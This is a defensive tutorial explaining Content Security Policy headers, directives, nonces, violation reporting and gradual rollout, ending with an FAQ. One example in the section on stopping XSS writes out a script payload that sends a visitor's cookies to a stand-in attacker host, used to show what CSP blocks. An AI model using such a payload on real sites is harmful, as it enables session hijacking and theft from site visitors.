Quick Answer

Content Security Policy (CSP) is an HTTP header that tells the browser exactly which sources of scripts, styles, and other resources your page is allowed to load. Even if an attacker manages to inject a script tag through an XSS bug, a well-configured CSP stops the browser from executing it, because the script's origin, or its missing nonce, isn't on the allowed list.

What CSP Actually Does

Without CSP, a browser will execute any script that ends up in the page's HTML, load any stylesheet, and connect to any endpoint a script points at, regardless of where that content originated. Most web security problems that involve script injection depend on this default openness.

CSP flips the default to deny by sending a Content-Security-Policy header that lists, per resource type, exactly which sources are trusted. The browser itself enforces it before anything runs, so even a successful injection has nowhere left to execute from if its source isn't on the list. This is enforced by every request the page makes, not just the initial page load, so it also constrains scripts that try to load further scripts dynamically.

The Core Directives

default-src is the fallback used for any resource type that doesn't have its own explicit directive. script-src controls where JavaScript may load from, and is the directive that matters most for stopping XSS. style-src does the same for CSS, and object-src controls plugins like Flash, almost always set to 'none' since there's rarely a legitimate reason to allow it today. A realistic header combining several of these looks like this:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-4AEemGb0xJptoIGFP3Nd';
  style-src 'self' https://fonts.googleapis.com;
  object-src 'none';
  frame-ancestors 'none';
  report-to csp-endpoint

Everything defaults to same-origin, scripts additionally require a matching nonce, plugins are banned outright, and the page can't be framed by anyone.

Additional directives like img-src, connect-src, and font-src follow the same pattern for their own resource types, each falling back to default-src when omitted. Listing directives explicitly, rather than relying entirely on the fallback, makes a policy easier to reason about and easier to loosen for exactly one resource type without accidentally loosening all of them at once.

Nonces: Allowing Inline Scripts Safely

Blocking all inline <script> tags is the whole point of a strict CSP, since inline script is exactly where an XSS payload lands. But real applications sometimes need one legitimate inline script, and the fix isn't 'unsafe-inline', which would defeat the protection for every script on the page, injected or not.

Instead, the server generates a random value on every response and includes it both in the header and on the specific script tag it trusts:

<script nonce="4AEemGb0xJptoIGFP3Nd">
  console.log('trusted inline script');
</script>

Because the nonce is random per response and never predictable, an attacker's injected script has no way to guess it, and a script tag without the matching nonce simply doesn't execute, regardless of where in the HTML it appears.

How This Actually Stops an XSS Payload

Say a comment field on your site fails to sanitize input, and an attacker submits a comment containing <script>fetch('https://evil.example/steal?c=' + document.cookie)</script>. Without CSP, that script tag renders in every other visitor's page and runs immediately, exfiltrating their session cookie.

With script-src 'self' 'nonce-4AEemGb0xJptoIGFP3Nd' in place, the injected tag has neither a matching origin nor the correct nonce, since the attacker has no way to know it in advance. The browser refuses to execute it and logs a console violation instead. The XSS bug in the comment field still technically exists, the HTML still gets injected, but the payload never runs. This is why CSP is described as a second layer of defense: it doesn't replace input sanitization, it catches what sanitization misses.

Finding Out What Would Have Broken

Two mechanisms report violations back to you instead of only failing silently in a user's browser. report-uri sends a POST with a JSON body to a URL directly, but it's deprecated in favor of report-to, which works with the browser's Reporting API and a separate Reporting-Endpoints header defining where reports go.

Before enforcing a policy, send it as Content-Security-Policy-Report-Only instead. The browser evaluates the policy and sends violation reports exactly as it would when enforcing, but nothing is actually blocked, which is how you find out what a real policy would break before your users do.

Reports arrive as structured JSON describing which directive was violated, the blocked resource's URL, and the document that triggered it, which is usually enough to tell a legitimate third-party script apart from an actual injected payload without digging through browser console logs one user session at a time.

Rolling It Out Without Breaking Your Site

Start in report-only mode, watch the violation reports for a few days, and tighten the policy based on what legitimately needs to load rather than guessing upfront. Avoid reaching for 'unsafe-inline' or 'unsafe-eval' to make errors go away, both effectively disable the protection script-src exists to provide. Use nonces or content hashes for the specific inline scripts you actually need instead.

The most common real-world breakage is third-party widgets: analytics snippets, chat widgets, and payment SDKs that inject their own scripts and often load additional scripts from other domains you haven't allowlisted, and they tend to fail silently rather than with an obvious error.

Expect the first report-only run to surface things you didn't know your own site was loading: an old analytics snippet nobody removed, a font loaded from a CDN instead of self-hosted, an inline event handler left over from years-old markup. Clearing those out is usually more valuable than the policy itself, since most of it is unnecessary attack surface regardless of CSP.

Frequently Asked Questions

What does CSP actually stop? It stops the browser from executing scripts, loading styles, or connecting to endpoints that aren't on the policy's allowed list, which blocks injected XSS payloads from running even when the underlying injection bug still exists.
What's the difference between default-src and script-src? default-src is the fallback for any resource type without its own directive. script-src specifically overrides that fallback for JavaScript, and is the directive that matters most for stopping XSS.
Why use a nonce instead of just allowing 'unsafe-inline'? 'unsafe-inline' allows every inline script to run, injected or legitimate, which defeats the purpose of the policy. A nonce is a random per-response value an attacker can't predict, so only the script tags you actually generated can execute.
What's the difference between report-uri and report-to? report-uri is the older mechanism and is deprecated. report-to uses the browser's Reporting API together with a separate Reporting-Endpoints header and is the currently recommended way to collect violation reports.
How do I test a CSP without breaking my site? Deploy it first as Content-Security-Policy-Report-Only. The browser evaluates it and sends violation reports exactly as it would in enforcement mode, but nothing actually gets blocked, so you can see what would break before turning it on for real.